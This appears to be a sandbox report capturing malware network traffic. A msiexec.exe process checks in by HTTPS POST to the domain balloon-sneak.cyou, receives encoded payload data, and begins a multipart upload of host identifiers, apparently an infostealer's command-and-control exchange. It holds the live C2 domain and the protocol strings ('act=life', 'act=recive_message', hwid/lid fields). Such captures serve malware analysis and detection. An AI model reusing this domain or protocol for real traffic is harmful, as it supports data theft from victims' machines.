5vNbjSW7D1JTeoXFM4ptMVsImd0ltDG/ClLAmt/pDweD0KDOBAqp/huI9vN73lwUKbo57mlLB26LzrthK3UhiXUhgIhD/RLJq/nM0BrBFEyxaP6wdQmEoWTvT38VaF/u9OVVEcDNs8/a4brp3eEssbwrBHMmBbkRqXQtSzSN0WWuEPKXj4DKxh9U2Qa7/TWShuKjidTeNs3fkaBGXRqHW8nEqtZrQcR0/1CJT83mtkzc9e5FKx/XbH03ly6MAQH
2024-11-29 14:45:08 UTC	16384	IN	Data Raw: 50 66 44 2f 7a 77 55 70 69 64 4d 49 6e 78 46 37 6f 56 5a 31 44 32 53 31 47 61 51 47 46 6d 56 44 2f 6a 36 67 2f 45 6e 65 36 73 41 54 4f 32 6a 63 5a 45 6a 72 6d 53 61 7a 62 6d 4e 79 79 38 64 34 41 37 55 41 61 79 64 77 70 54 6e 68 45 51 2b 64 53 55 58 32 56 79 42 59 35 32 46 65 73 71 53 5a 47 77 47 4a 70 39 32 5a 43 4d 6e 74 6f 43 6a 39 44 39 6b 57 67 38 77 4a 35 68 58 44 69 78 45 58 6b 42 7a 34 46 64 53 6e 38 67 51 41 4a 76 5a 44 50 70 79 49 78 69 5a 72 5a 6b 4d 34 4d 69 62 38 42 69 79 41 70 35 30 57 41 52 54 73 64 50 41 38 4f 39 2b 61 71 6f 38 47 4b 4a 69 69 43 39 58 42 66 41 38 44 70 36 45 4d 30 41 68 57 78 41 78 49 44 54 67 54 6c 56 2f 6c 46 47 6a 76 74 2b 42 2f 42 65 44 2f 6f 31 73 31 78 37 41 67 4c 57 39 2f 48 61 77 48 51 38 57 63 74 67 4e 69 50 55 2f Data Ascii: PfD/zwUpidMInxF7oVZ1D2S1GaQGFmVD/j6g/Ene6sATO2jcZEjrmSazbmNyy8d4A7UAaydwpTnhEQ+dSUX2VyBY52FesqSZGwGJp92ZCMntoCj9D9kWg8wJ5hXDixEXkBz4FdSn8gQAJvZDPpyIxiZrZkM4Mib8BiyAp50WARTsdPA8O9+aqo8GKJiiC9XBfA8Dp6EM0AhWxAxIDTgTlV/lFGjvt+B/BeD/o1s1x7AgLW9/HawHQ8WctgNiPU/
2024-11-29 14:45:08 UTC	16384	IN	Data Raw: 48 7a 2b 66 48 69 67 35 4e 6e 49 57 4f 69 56 66 65 6d 67 4f 37 58 38 4c 68 6e 37 67 7a 6d 76 4c 58 34 53 38 6f 79 58 71 50 36 65 39 32 4c 2f 6e 49 58 6e 34 72 33 41 62 35 38 76 62 76 67 50 49 78 39 42 31 73 72 48 47 70 55 43 2f 70 72 47 6b 70 6f 7a 38 62 48 6e 42 55 51 66 30 4a 6a 6e 72 51 4a 4b 73 6e 55 32 50 4b 36 76 65 4f 46 56 64 45 69 6b 4d 32 48 35 78 6f 75 2f 2b 7a 38 65 44 4c 6e 65 6f 48 6e 6e 55 6e 54 76 49 79 4b 2f 4a 64 4a 53 5a 30 48 31 65 32 54 51 2f 51 70 76 2f 72 6a 6a 65 4d 77 57 34 57 35 73 35 30 33 4d 6e 5a 37 4e 4e 31 2f 35 69 55 44 67 69 7a 31 4f 78 43 4f 61 67 79 49 4b 4d 4e 35 78 6c 34 53 78 75 46 53 30 65 7a 70 38 78 58 66 76 71 65 56 4c 46 64 38 45 4b 70 70 47 52 50 73 43 41 77 6e 37 72 52 58 32 58 73 71 76 55 71 41 53 63 6d 70 2b Data Ascii: Hz+fHig5NnIWOiVfemgO7X8Lhn7gzmvLX4S8oyXqP6e92L/nIXn4r3Ab58vbvgPIx9B1srHGpUC/prGkpoz8bHnBUQf0JjnrQJKsnU2PK6veOFVdEikM2H5xou/+z8eDLneoHnnUnTvIyK/JdJSZ0H1e2TQ/Qpv/rjjeMwW4W5s503MnZ7NN1/5iUDgiz1OxCOagyIKMN5xl4SxuFS0ezp8xXfvqeVLFd8EKppGRPsCAwn7rRX2XsqvUqAScmp+
2024-11-29 14:45:09 UTC	16384	IN	Data Raw: 71 6d 6f 33 2b 74 38 50 67 62 36 4d 59 34 59 76 50 72 73 54 47 41 6e 6e 74 42 36 36 59 4d 54 71 73 4f 61 30 62 41 2f 34 4e 77 63 51 54 70 46 73 52 31 35 59 48 34 62 6a 70 77 72 4f 6f 30 63 35 49 35 2f 64 30 67 4a 32 66 75 4e 30 77 66 69 44 77 6d 57 37 58 78 62 4d 6d 69 78 4c 38 35 4d 64 35 48 4e 59 39 6c 43 77 30 71 4c 6e 57 44 4d 77 72 59 4d 41 4e 6d 39 59 59 4c 6e 30 32 47 42 4a 42 65 43 64 70 67 50 63 4c 69 63 59 63 52 35 69 72 65 69 72 43 65 5a 49 76 66 41 6b 63 2b 48 68 54 61 6f 43 43 73 48 5a 4c 41 76 6b 4b 47 4b 71 44 6d 74 5a 37 43 30 61 50 58 4c 76 4a 4f 4b 30 39 76 36 62 39 4a 44 49 75 63 49 43 61 56 74 52 32 62 36 2b 2f 6e 36 2b 6f 4f 55 45 4d 38 50 77 42 46 73 7a 41 6a 6d 71 4f 66 6b 63 37 31 48 51 46 6e 75 58 56 51 75 6e 71 78 6f 51 4b 58 59 Data Ascii: qmo3+t8Pgb6MY4YvPrsTGAnntB66YMTqsOa0bA/4NwcQTpFsR15YH4bjpwrOo0c5I5/d0gJ2fuN0wfiDwmW7XxbMmixL85Md5HNY9lCw0qLnWDMwrYMANm9YYLn02GBJBeCdpgPcLicYcR5ireirCeZIvfAkc+HhTaoCCsHZLAvkKGKqDmtZ7C0aPXLvJOK09v6b9JDIucICaVtR2b6+/n6+oOUEM8PwBFszAjmqOfkc71HQFnuXVQunqxoQKXY
2024-11-29 14:45:09 UTC	16384	IN	Data Raw: 57 6c 38 68 46 67 42 62 55 56 4f 69 4d 74 66 6f 5a 6e 35 37 56 4d 4c 41 71 69 32 37 41 68 41 61 66 48 56 68 30 4f 32 4c 36 6a 69 44 66 30 75 4a 73 69 4d 42 6d 6e 42 39 72 75 2f 36 74 77 57 50 6d 2f 35 39 6f 56 2f 52 47 71 30 65 38 75 38 76 4f 54 59 31 59 2b 6a 46 6b 64 47 56 63 36 37 4c 6a 43 66 74 6a 52 70 52 48 77 39 5a 7a 54 48 59 63 5a 4e 5a 52 61 47 47 42 4c 65 36 7a 4d 33 51 69 37 44 32 49 41 37 50 39 6f 31 39 4f 49 73 70 48 39 5a 54 48 45 2b 71 50 2b 61 30 4b 71 2b 66 47 2b 64 4b 65 6e 2b 76 75 78 54 47 37 31 6e 69 55 4f 63 51 6f 46 56 63 6e 56 7a 30 55 4e 33 6e 62 31 64 30 70 38 69 61 73 36 6b 73 44 4f 35 51 38 64 49 74 2f 62 45 61 61 53 63 6e 30 55 32 61 30 6e 56 71 56 37 7a 6d 58 39 41 76 2f 6d 7a 34 31 76 58 50 6b 69 73 77 46 6d 79 36 71 33 74 Data Ascii: Wl8hFgBbUVOiMtfoZn57VMLAqi27AhAafHVh0O2L6jiDf0uJsiMBmnB9ru/6twWPm/59oV/RGq0e8u8vOTY1Y+jFkdGVc67LjCftjRpRHw9ZzTHYcZNZRaGGBLe6zM3Qi7D2IA7P9o19OIspH9ZTHE+qP+a0Kq+fG+dKen+vuxTG71niUOcQoFVcnVz0UN3nb1d0p8ias6ksDO5Q8dIt/bEaaScn0U2a0nVqV7zmX9Av/mz41vXPkiswFmy6q3t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49929	172.67.170.85	443	6664	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 14:47:13 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: balloon-sneak.cyou
2024-11-29 14:47:13 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-29 14:47:16 UTC	1018	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 14:47:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=a11edsmbshsv0okjslomob8pqj; expires=Tue, 25-Mar-2025 08:33:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BlDY%2FnN0i4xxBjZWM0LW%2BxBToLliUQApsjPtrfsjOVDLAyAzvnEEQtlt151U4Hfn0Qcd6upWnPFbBiXGPphE%2FoJGRuP2X2FqTxuKaNM1D6d1UWRdISeFWzqJminFa8iKX3cHCzE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea36447fba9188d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1528&min_rtt=1511&rtt_var=602&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=909&delivery_rate=1766485&cwnd=174&unsent_bytes=0&cid=0332432d66f94dc4&ts=2654&x=0"
2024-11-29 14:47:16 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-29 14:47:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49939	172.67.170.85	443	6664	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 14:47:17 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: balloon-sneak.cyou
2024-11-29 14:47:17 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4d 65 48 64 79 34 2d 2d 70 6c 38 76 73 30 37 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=MeHdy4--pl8vs07&j=
2024-11-29 14:47:20 UTC	1022	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 14:47:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9vlkpg4ho3ercql8ja1c2ie1nk; expires=Tue, 25-Mar-2025 08:33:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2Ttj9rVGM5FG0obU2NciMaSs%2Bg%2BNxnZNrM8uSKXRIs%2FF9FklAuK%2FrlFqcfCxN6v0c5vjlQ%2FYeE5zF1EIQ2XkWFId2atUCWqE1emGuS9dTr78cV9RQMKwI4ae2gW3%2FaNA65KCapo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea36461cdc17cf4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5431&min_rtt=5431&rtt_var=2715&sent=6&recv=7&lost=0&retrans=1&sent_bytes=4228&recv_bytes=951&delivery_rate=124297&cwnd=200&unsent_bytes=0&cid=d4cfaccabd9ac7b4&ts=2683&x=0"
2024-11-29 14:47:20 UTC	347	IN	Data Raw: 34 34 38 38 0d 0a 66 70 37 51 74 32 52 6a 6c 37 54 4a 52 65 58 71 37 77 6c 4d 77 4c 57 6d 63 39 4c 66 31 69 6f 33 62 56 72 61 73 58 2b 73 52 44 4d 46 76 4b 61 56 58 6c 65 37 6c 72 6f 67 78 39 43 62 65 7a 6d 6c 6d 59 51 53 74 76 33 73 54 46 59 42 4b 62 2b 64 58 64 6f 70 45 55 54 34 73 64 73 58 42 72 75 57 72 44 33 48 30 4c 52 79 62 71 58 62 68 45 6e 77 75 72 78 49 56 67 45 34 75 39 6f 51 33 43 68 51 46 76 4b 33 33 77 45 41 38 39 57 6c 4b 49 43 50 69 6d 67 6d 72 74 7a 4c 47 37 2f 39 2b 67 68 53 46 33 6a 67 6b 7a 4c 4a 4d 46 49 7a 2f 36 50 63 52 68 36 37 7a 2b 73 67 69 38 6a 56 4b 79 32 6c 31 38 6f 56 74 72 53 2b 51 6c 38 4a 4f 62 37 62 44 38 55 69 57 78 62 38 74 4e 34 4c 43 65 66 59 72 79 2b 4c 69 59 42 6f 62 75 79 58 77 77 6e 77 35 66 51 62 5a 77 77 70 71 Data Ascii: 4488fp7Qt2Rjl7TJReXq7wlMwLWmc9Lf1io3bVrasX+sRDMFvKaVXle7lrogx9CbezmlmYQStv3sTFYBKb+dXdopEUT4sdsXBruWrD3H0LRybqXbhEnwurxIVgE4u9oQ3ChQFvK33wEA89WlKICPimgmrtzLG7/9+ghSF3jgkzLJMFIz/6PcRh67z+sgi8jVKy2l18oVtrS+Ql8JOb7bD8UiWxb8tN4LCefYry+LiYBobuyXwwnw5fQbZwwpq
2024-11-29 14:47:20 UTC	1369	IN	Data Raw: 55 53 38 74 4e 73 48 44 50 58 45 6f 79 79 4d 6a 5a 39 67 4a 36 2f 61 78 42 79 36 73 72 64 49 55 67 55 79 74 39 6b 5a 77 79 74 58 48 50 7a 79 6d 30 59 47 37 5a 62 7a 5a 36 53 4e 6e 57 77 69 74 4a 58 2b 55 61 2f 7a 72 51 68 53 41 33 6a 67 6b 78 58 4c 4a 56 49 58 38 37 48 64 44 52 50 31 78 4b 30 71 67 70 71 4c 62 69 43 6f 31 4e 59 62 76 72 75 33 51 56 34 47 50 62 2f 58 58 59 42 6d 56 67 53 38 36 70 55 6e 44 50 37 61 6f 54 43 48 79 4a 49 6c 4e 2b 4c 51 79 46 48 6f 2f 62 42 4a 55 51 34 38 74 74 30 5a 77 69 42 66 45 66 4f 30 33 77 59 47 2f 39 36 6a 4a 6f 71 44 67 6d 73 72 72 39 50 43 48 62 47 34 39 41 59 56 43 43 44 34 69 31 33 67 49 56 49 4f 76 6f 66 57 43 41 2f 79 77 4f 73 34 79 5a 48 4e 62 43 4c 69 6a 34 51 66 74 62 4b 6d 53 55 63 4b 4e 71 72 66 47 4d 67 72 Data Ascii: US8tNsHDPXEoyyMjZ9gJ6/axBy6srdIUgUyt9kZwytXHPzym0YG7ZbzZ6SNnWwitJX+Ua/zrQhSA3jgkxXLJVIX87HdDRP1xK0qgpqLbiCo1NYbvru3QV4GPb/XXYBmVgS86pUnDP7aoTCHyJIlN+LQyFHo/bBJUQ48tt0ZwiBfEfO03wYG/96jJoqDgmsrr9PCHbG49AYVCCD4i13gIVIOvofWCA/ywOs4yZHNbCLij4QftbKmSUcKNqrfGMgr
2024-11-29 14:47:20 UTC	1369	IN	Data Raw: 66 57 43 41 2f 79 77 4f 73 34 79 5a 48 4e 62 43 4c 69 6a 34 51 64 75 62 32 2f 51 6c 45 50 50 37 58 57 48 73 6b 6c 58 42 76 32 76 4e 49 43 44 66 7a 62 72 53 65 41 6a 49 68 35 4b 36 76 62 79 46 48 2b 2f 62 4e 51 46 56 64 34 6c 39 51 4c 7a 51 6c 53 44 66 58 79 79 6b 67 59 74 64 47 6e 5a 39 2f 49 69 6d 34 6d 71 64 48 4d 45 61 4b 34 75 6b 4e 55 42 54 36 35 33 68 48 49 4a 6c 41 63 2b 72 37 56 41 51 62 6e 78 4b 34 68 6c 59 4c 4e 4a 57 36 6c 7a 34 52 4a 38 49 75 6b 58 30 51 5a 65 6f 33 51 45 38 41 68 52 31 7a 6a 2f 4d 78 47 42 76 6d 57 38 32 65 4d 69 49 46 73 4a 71 54 54 7a 42 36 2f 74 4b 5a 4a 57 51 45 71 76 39 4d 55 77 43 6c 64 46 66 47 31 32 41 30 4c 2b 4e 4b 73 4a 73 66 47 7a 57 77 32 34 6f 2b 45 4a 36 43 77 75 47 5a 65 41 7a 48 34 7a 46 50 58 5a 6c 59 51 76 Data Ascii: fWCA/ywOs4yZHNbCLij4Qdub2/QlEPP7XWHsklXBv2vNICDfzbrSeAjIh5K6vbyFH+/bNQFVd4l9QLzQlSDfXyykgYtdGnZ9/Iim4mqdHMEaK4ukNUBT653hHIJlAc+r7VAQbnxK4hlYLNJW6lz4RJ8IukX0QZeo3QE8AhR1zj/MxGBvmW82eMiIFsJqTTzB6/tKZJWQEqv9MUwCldFfG12A0L+NKsJsfGzWw24o+EJ6CwuGZeAzH4zFPXZlYQv
2024-11-29 14:47:20 UTC	1369	IN	Data Raw: 41 2b 39 6d 71 49 34 4b 4e 69 57 77 71 70 4e 69 45 58 2f 43 36 72 41 67 4e 54 78 65 66 35 6c 2f 76 48 42 45 44 73 71 75 56 41 51 32 31 6a 75 73 72 68 49 53 46 5a 43 69 72 32 38 34 59 75 37 47 2f 54 46 6b 47 50 62 37 53 47 4d 73 6e 56 52 44 32 74 4e 59 46 44 76 72 5a 6f 32 66 4a 79 49 70 7a 62 76 71 58 34 51 61 37 73 37 49 49 53 6b 45 68 2b 4e 51 52 6a 6e 34 52 45 50 57 30 30 77 4d 4e 39 4e 43 6a 49 6f 2b 4d 6a 47 30 6f 6f 64 6a 41 46 4c 47 79 73 45 52 62 42 54 6d 35 33 78 62 42 4c 56 52 63 73 76 4c 53 48 6b 47 74 6c 70 6f 6b 6b 5a 2b 64 5a 32 36 39 6d 64 31 52 74 37 48 30 45 42 55 4f 4b 72 4c 5a 45 38 73 70 56 42 2f 7a 74 64 67 41 44 66 2f 66 6f 79 47 49 67 5a 39 6f 49 71 7a 51 79 68 32 2b 73 4c 35 4c 57 45 39 32 2b 4e 51 46 6a 6e 34 52 4d 50 75 2f 2b 77 Data Ascii: A+9mqI4KNiWwqpNiEX/C6rAgNTxef5l/vHBEDsquVAQ21jusrhISFZCir284Yu7G/TFkGPb7SGMsnVRD2tNYFDvrZo2fJyIpzbvqX4Qa7s7IISkEh+NQRjn4REPW00wMN9NCjIo+MjG0oodjAFLGysERbBTm53xbBLVRcsvLSHkGtlpokkZ+dZ269md1Rt7H0EBUOKrLZE8spVB/ztdgADf/foyGIgZ9oIqzQyh2+sL5LWE92+NQFjn4RMPu/+w
2024-11-29 14:47:20 UTC	1369	IN	Data Raw: 72 6a 57 56 79 4d 4d 72 4b 62 71 58 6e 46 47 47 75 71 52 59 56 6b 30 4a 72 74 41 4c 78 53 74 64 58 4f 50 38 7a 45 59 47 2b 5a 62 7a 5a 34 47 48 68 47 67 68 6f 39 37 49 48 4c 57 30 73 55 6c 54 43 7a 4b 79 30 78 76 49 4a 31 51 57 2f 37 50 66 44 77 62 39 30 61 67 31 78 38 62 4e 62 44 62 69 6a 34 51 34 74 36 2b 36 57 42 55 51 64 71 47 54 47 73 4a 6d 43 56 7a 34 75 4e 6f 43 42 76 6e 51 72 69 47 4b 69 59 4a 71 4c 71 33 54 7a 78 69 32 76 4c 6c 4e 57 41 73 71 73 74 67 53 77 69 39 64 45 62 7a 38 6c 51 45 5a 74 59 37 72 46 6f 71 47 67 32 77 34 34 73 69 4b 43 50 43 36 75 41 67 4e 54 7a 6d 30 33 42 37 42 4a 56 49 64 39 71 44 48 43 67 6a 39 30 36 63 73 69 59 36 66 62 53 47 72 31 4d 63 59 74 37 57 34 51 6c 59 49 65 50 61 54 47 74 5a 6d 43 56 7a 66 70 63 55 4c 51 65 71 Data Ascii: rjWVyMMrKbqXnFGGuqRYVk0JrtALxStdXOP8zEYG+ZbzZ4GHhGgho97IHLW0sUlTCzKy0xvIJ1QW/7PfDwb90ag1x8bNbDbij4Q4t6+6WBUQdqGTGsJmCVz4uNoCBvnQriGKiYJqLq3Tzxi2vLlNWAsqstgSwi9dEbz8lQEZtY7rFoqGg2w44siKCPC6uAgNTzm03B7BJVId9qDHCgj906csiY6fbSGr1McYt7W4QlYIePaTGtZmCVzfpcULQeq
2024-11-29 14:47:20 UTC	1369	IN	Data Raw: 59 47 4c 62 43 69 73 78 63 45 58 76 37 4b 39 51 56 45 48 4f 37 6a 58 47 63 6b 6a 55 68 44 33 74 64 59 4a 42 66 7a 59 6f 69 6a 48 78 73 31 73 4e 75 4b 50 68 44 43 72 76 72 68 46 46 52 42 32 6f 5a 4d 61 77 6d 59 4a 58 50 43 38 30 41 59 4c 38 39 4b 75 49 59 32 4e 6a 57 41 74 72 64 50 43 46 62 2b 39 76 30 46 55 43 54 32 79 32 42 76 44 4a 56 63 61 76 50 79 56 41 52 6d 31 6a 75 73 48 6e 49 57 42 62 47 36 39 6d 64 31 52 74 37 48 30 45 42 55 45 4e 4c 7a 55 48 63 4d 6c 57 52 6e 34 75 4e 41 47 43 65 66 65 71 79 43 56 6d 6f 31 69 4b 36 37 55 78 42 57 32 74 4c 4a 4c 55 55 39 32 2b 4e 51 46 6a 6e 34 52 4d 66 43 31 2f 41 45 61 74 63 6e 6c 50 73 65 50 67 53 74 32 34 74 62 50 47 37 2b 77 74 30 35 57 42 44 32 79 30 68 72 47 4b 30 4d 66 38 37 33 52 42 67 37 7a 30 4b 6f 6f Data Ascii: YGLbCisxcEXv7K9QVEHO7jXGckjUhD3tdYJBfzYoijHxs1sNuKPhDCrvrhFFRB2oZMawmYJXPC80AYL89KuIY2NjWAtrdPCFb+9v0FUCT2y2BvDJVcavPyVARm1jusHnIWBbG69md1Rt7H0EBUENLzUHcMlWRn4uNAGCefeqyCVmo1iK67UxBW2tLJLUU92+NQFjn4RMfC1/AEatcnlPsePgSt24tbPG7+wt05WBD2y0hrGK0Mf873RBg7z0Koo
2024-11-29 14:47:20 UTC	1369	IN	Data Raw: 30 74 74 4e 53 44 4c 34 36 61 6f 6b 4a 53 48 7a 2b 76 33 46 32 41 5a 6c 35 63 70 49 75 56 44 77 62 75 78 37 30 71 6c 34 2f 4e 56 47 44 69 7a 34 52 4a 38 49 69 33 52 6c 73 49 4c 71 6d 65 4f 74 67 73 56 67 7a 37 70 64 70 47 54 37 58 51 36 33 2f 55 78 73 31 76 50 2b 4b 50 6c 45 50 72 36 4f 63 66 42 56 30 6e 39 73 70 64 32 47 59 4a 54 72 4c 79 78 30 5a 5a 74 5a 47 6f 4e 5a 57 4f 6a 6e 30 74 35 65 6e 36 4e 71 71 77 73 6c 39 45 4d 51 61 2f 79 52 44 49 4d 55 42 51 36 62 48 62 43 41 62 6a 6c 75 56 6e 69 4d 6a 56 55 6d 37 71 6c 2f 74 66 38 4b 58 30 45 42 55 36 4f 37 62 64 47 74 67 33 48 44 76 6d 76 39 4d 52 45 4c 57 59 36 79 48 48 30 4e 30 6c 62 71 62 47 68 45 6e 67 37 2b 38 64 42 6c 68 6f 36 73 78 54 31 32 5a 48 58 4b 54 67 6d 30 59 54 74 59 37 72 59 49 53 61 6e Data Ascii: 0ttNSDL46aokJSHz+v3F2AZl5cpIuVDwbux70ql4/NVGDiz4RJ8Ii3RlsILqmeOtgsVgz7pdpGT7XQ63/Uxs1vP+KPlEPr6OcfBV0n9spd2GYJTrLyx0ZZtZGoNZWOjn0t5en6Nqqwsl9EMQa/yRDIMUBQ6bHbCAbjluVniMjVUm7ql/tf8KX0EBU6O7bdGtg3HDvmv9MRELWY6yHH0N0lbqbGhEng7+8dBlho6sxT12ZHXKTgm0YTtY7rYISan
2024-11-29 14:47:20 UTC	1369	IN	Data Raw: 6f 69 6c 47 6f 2f 65 77 49 59 41 77 32 74 74 51 4c 33 32 74 32 45 76 75 7a 77 78 59 57 2b 70 62 6c 5a 34 48 49 31 54 6c 67 34 74 50 56 55 65 6a 74 35 68 4d 41 58 47 2f 6f 67 51 4b 41 50 78 45 4b 76 4f 71 48 53 45 48 6e 6c 76 4e 6e 77 49 75 66 65 53 69 68 77 63 64 57 6a 6f 4f 54 52 6c 49 4f 4c 71 6a 45 45 6f 45 49 5a 7a 33 43 6a 4d 41 46 44 2f 76 52 76 54 62 48 78 73 31 6b 62 76 72 75 68 46 6e 77 67 76 6f 49 54 55 39 67 2b 4f 59 65 77 43 68 57 43 75 33 2f 38 67 67 47 39 4d 43 37 4d 49 6a 48 6f 31 30 50 34 70 6d 45 46 2f 44 6c 35 67 59 56 43 79 6e 34 69 30 32 63 66 51 52 50 71 2b 4b 48 47 55 2f 73 6c 72 31 6e 33 39 72 44 4b 7a 7a 69 6a 34 52 57 73 36 2b 6d 54 6c 59 5a 4f 2f 2f 74 49 2b 6b 6f 56 68 33 71 6f 74 67 4b 49 50 62 48 6f 52 6d 35 6e 59 35 6c 49 4b Data Ascii: oilGo/ewIYAw2ttQL32t2EvuzwxYW+pblZ4HI1Tlg4tPVUejt5hMAXG/ogQKAPxEKvOqHSEHnlvNnwIufeSihwcdWjoOTRlIOLqjEEoEIZz3CjMAFD/vRvTbHxs1kbvruhFnwgvoITU9g+OYewChWCu3/8ggG9MC7MIjHo10P4pmEF/Dl5gYVCyn4i02cfQRPq+KHGU/slr1n39rDKzzij4RWs6+mTlYZO//tI+koVh3qotgKIPbHoRm5nY5lIK
2024-11-29 14:47:20 UTC	1369	IN	Data Raw: 73 62 36 36 53 30 63 64 50 72 76 46 48 6f 6b 59 62 7a 48 75 74 63 55 46 51 38 54 62 72 7a 47 53 69 35 31 73 45 4a 7a 36 31 68 61 67 76 76 5a 6b 55 67 49 30 68 75 30 71 33 79 46 42 58 74 71 78 77 77 56 42 75 35 61 7a 5a 39 2f 49 6f 48 6b 70 73 74 53 47 50 62 65 77 75 41 68 4b 51 53 48 34 78 56 32 57 64 52 39 63 37 76 4b 4e 52 6b 62 32 78 4c 6b 68 68 4a 36 4f 4c 42 43 63 2b 74 59 57 6f 4c 37 32 65 56 67 4c 4c 71 33 51 44 63 6b 59 62 7a 48 75 74 63 55 46 51 39 44 73 36 52 61 52 69 34 31 6c 4b 65 4b 5a 68 41 6e 77 35 66 52 6c 52 77 67 6f 75 35 45 34 39 47 52 67 43 76 2b 79 32 77 46 42 75 35 61 6e 5a 39 2f 49 67 48 6b 70 73 74 53 49 46 71 71 36 39 46 63 62 46 6e 69 75 6b 30 57 64 61 42 45 4f 76 4f 71 56 51 51 2f 34 31 36 67 70 68 4a 71 66 62 53 32 30 31 49 4d Data Ascii: sb66S0cdPrvFHokYbzHutcUFQ8TbrzGSi51sEJz61hagvvZkUgI0hu0q3yFBXtqxwwVBu5azZ9/IoHkpstSGPbewuAhKQSH4xV2WdR9c7vKNRkb2xLkhhJ6OLBCc+tYWoL72eVgLLq3QDckYbzHutcUFQ9Ds6RaRi41lKeKZhAnw5fRlRwgou5E49GRgCv+y2wFBu5anZ9/IgHkpstSIFqq69FcbFniuk0WdaBEOvOqVQQ/416gphJqfbS201IM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49949	172.67.170.85	443	6664	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 14:47:22 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0L7DAZD1Q08RELDDAQ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12837 Host: balloon-sneak.cyou
2024-11-29 14:47:22 UTC	12837	OUT	Data Raw: 2d 2d 30 4c 37 44 41 5a 44 31 51 30 38 52 45 4c 44 44 41 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 34 37 33 46 43 33 39 36 35 44 41 39 33 33 36 31 36 39 34 32 38 46 39 39 44 46 42 34 37 44 39 0d 0a 2d 2d 30 4c 37 44 41 5a 44 31 51 30 38 52 45 4c 44 44 41 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 30 4c 37 44 41 5a 44 31 51 30 38 52 45 4c 44 44 41 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4d 65 48 64 79 34 2d 2d 70 6c 38 76 73 Data Ascii: --0L7DAZD1Q08RELDDAQContent-Disposition: form-data; name="hwid"7473FC3965DA9336169428F99DFB47D9--0L7DAZD1Q08RELDDAQContent-Disposition: form-data; name="pid"2--0L7DAZD1Q08RELDDAQContent-Disposition: form-data; name="lid"MeHdy4--pl8vs
